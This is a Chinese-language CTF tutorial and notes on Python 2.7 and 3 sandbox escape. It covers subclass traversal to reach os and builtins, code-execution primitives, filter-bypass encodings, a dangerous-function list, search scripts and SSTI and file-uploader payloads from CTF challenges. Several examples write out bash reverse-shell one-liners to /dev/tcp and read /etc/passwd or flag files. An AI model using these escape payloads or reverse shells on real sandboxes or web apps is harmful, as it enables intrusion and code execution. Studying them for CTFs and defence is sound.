Python沙箱

Python沙箱笔记

本文主要基于python2.7.14

python沙盒主要是以逃逸一些过滤,其实就是对代码执行漏洞的研究

Exploit:

文件读写

python2的file对象

types.FileType实例化

使用[].__class__.__base__.__subclasses__().index(模块名)可以查看该模块在object子类的位置

1
2
3
>>>[].__class__.__base__.__subclasses__().index(file)     
40
>>>[].__class__.__base__.__subclasses__()[40]('./etc/passwd','r').read()

popen读写进程

1
2
3
4
FILE *popen(const char *command,const char *open_mode);
popen打开的是进程,相对应的是pclose

os.popen('./inputTest','w')

代码执行

exec()、eval()以及complie()

eval()函数只能计算单个表达式的值,而exec()函数可以动态运行代码段。

eval()函数可以有返回值,而exec()函数返回值永远为None。

compile() 函数将一个字符串编译为字节代码。

1
compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)

__call__等回调函数

所属类: builtin_function_or_method

1
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

类似的还有map(),sys.call_tracing()

1
2
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])
sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

f-strings

字符串修饰符f,大写也可以

1
2
3
4
5
name = "Eric"
age = 74
print f"Hello, {name}. You are {age}."

f"{__import__('os').system('ls')}"

input+stdin

可在反序列化中应用

py2中的input会执行代码而raw_input不会

py3中删除了raw_input,然后其功能由input替换

1
2
3
4
5
6
import StringIO
import sys

sys.stdin = StringIO.StringIO('__import__(\'os\').system(\'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"\')')

input('input:')

GetShell(RCE)

取自Python_revenge HITB2018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

第三方库

  • numpy
1
2
from numpy.distutils.exec_command import _exec_command as system
system("ls /")

Technique

获得object对象

python的内置对象有一个__class__属性来存储类型,python中一切均为对象,均继承object对象,并且可在通过属性subclasses来查看object的子类(包括所有的内置类)

1
2
3
4
5
# 获得object
>>>[].__class__.__base__
>>>[].__class__.__bases__[0]
>>>"".__class__.__mro__[-1]
>>>"".__class__.__base__.__base__

字符串绕过

当有的字符串被waf的时候可以通过编码或者字符串拼接绕过

1
2
3
4
5
>>>'ZmxhZy50eHQ='.decode('base64' )
'flag.txt'

>>> ''.join(['__builtin','s__'])
'__builtins__'

将所有字符转为ascii码后,chr()组合在一起

1
2
3
4
5
6
7
list = "import os;os.system('ls')"
command = []
for i in list:
command.append("chr({})".format(ord(i)))

print command
#eval(''.join(command))

=号绕过

__builtins__.setattr代替

可在反序列化中应用

变量覆盖

1
2
a = open
print(a("/etc/passwd").read())

函数名后面加点空格换一行都能执行

1
2
3
4
5
>>>dir ()
...

print open
("/etc/passwd").read()

使用别名

1
import os as o

函数/模块重载

可以在运行时导入模块

  • __import__全局函数

    1
    __import__('os')
  • reload()重载reload可以通过reload重新加载被删除的/函数模块

1
2
3
4
del __builtins__.__dict__['eval']
del __builtins__.__dict__['file']
del __builtins__.__dict__['vars']
reload(__builtins__)
  • imp模块重载
1
2
import imp 
imp.reload(__builtins__)
  • importlib模块
1
2
import importlib
importlib.import_module(module)

属性过滤

属性直接被waf的时候不能bypass

func_globals等 ,这时候可以使用如下方法利用属性的名字,再结合一些编码/字符串操作可以绕过

1
2
__getattribute__(属性名)
__dict__[属性名]

例如:

1
2
3
>>>[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

>>>[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

os等库被过滤

代码执行+__import__引入os

1
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

预先载入os的库

在2.7.14中的序号

  • 72 site._Printer
  • 77 site.Quitter
  • 60 warnings.catch_warnings —–> linecache ——>os
1
2
3
4
5
6
7
8
9
10
11
>>>[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60

>>>[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']


>>>[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
>>>[].__class__.__base__.__subclasses__()[77].__init__.__globals__['os']
>>>[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from 'D:\Python27\lib\os.pyc'>

获得__builtins__

globals函数可用

1
globals().values()[0]

显示声明__init__方法的库

对于__init__方法,显示声明的话类型会从(wrapper_descriptor)成为(instancemethod),从而有了__globals__属性,从而可以访问__builtins__

1
2
3
4
5
6
7
8
9
10
11
#by bendawang
#exp.py
cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if item.__init__.__globals__ is not None:
print(cnt,item)
cnt+=1
except:
cnt+=1
continue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#py2.7.14
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>) #间接访问os
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(72, <class 'site._Printer'>) #可以直接os
(77, <class 'site.Quitter'>) #可以直接os
(78, <class 'codecs.IncrementalEncoder'>)
(79, <class 'codecs.IncrementalDecoder'>)

#py3.7.0
75 <class '_frozen_importlib._ModuleLock'>
76 <class '_frozen_importlib._DummyModuleLock'>
77 <class '_frozen_importlib._ModuleLockManager'>
78 <class '_frozen_importlib._installed_safely'>
79 <class '_frozen_importlib.ModuleSpec'>
91 <class '_frozen_importlib_external.FileLoader'>
92 <class '_frozen_importlib_external._NamespacePath'>
93 <class '_frozen_importlib_external._NamespaceLoader'>
95 <class '_frozen_importlib_external.FileFinder'>
103 <class 'codecs.IncrementalEncoder'>
104 <class 'codecs.IncrementalDecoder'>
105 <class 'codecs.StreamReaderWriter'>
106 <class 'codecs.StreamRecoder'>
128 <class 'os._wrap_close'>
129 <class '_sitebuiltins.Quitter'>
130 <class '_sitebuiltins._Printer'>

进一步寻找该类中的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#exp2.py
keyword=raw_input("Pleas input the name of the property:")

cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if keyword in item.__init__.__globals__:
print(cnt,item)
cnt+=1
except:
cnt+=1
continue
"""
try:
cnt2=0
for i in item.__init__.__globals__:
if keyword in item.__init__.__globals__[i]:
print(cnt,item,cnt2,i)
cnt2+=1
"""

遍历某个类的属性(py3)

TWCTF2018 Shrine by DoubleSigma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# search.py
def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
#print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

1
2
3
4
5
6
import os
import platform

for path, obj in search(platform, 5):
if obj == os:
print(path)

Example

QCTF2018 Web Confusion1

​ SSTI+py沙箱逃逸

过滤了

1
2
__class__
__subclasses__

Payload:

1
2
3
>>>{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').__getattribute__('re'+'ad')()}}
#如下详见SSTI
>>>''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

InCTF 2018 The Most Secure File Uploader

注释符#断掉末尾

blacklist:

1
import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}

payload:

1
2
3
4
5
6
7
8
print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg

print globals().values()[0].__dict__['b3Blbg=='.decode('base64')]('flag','r').read()#.jpg

exec(''.join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(39),chr(99),chr(97),chr(116),chr(32),chr(42),chr(39),chr(41)]))#.png

#php注入思路
$(cat flag).png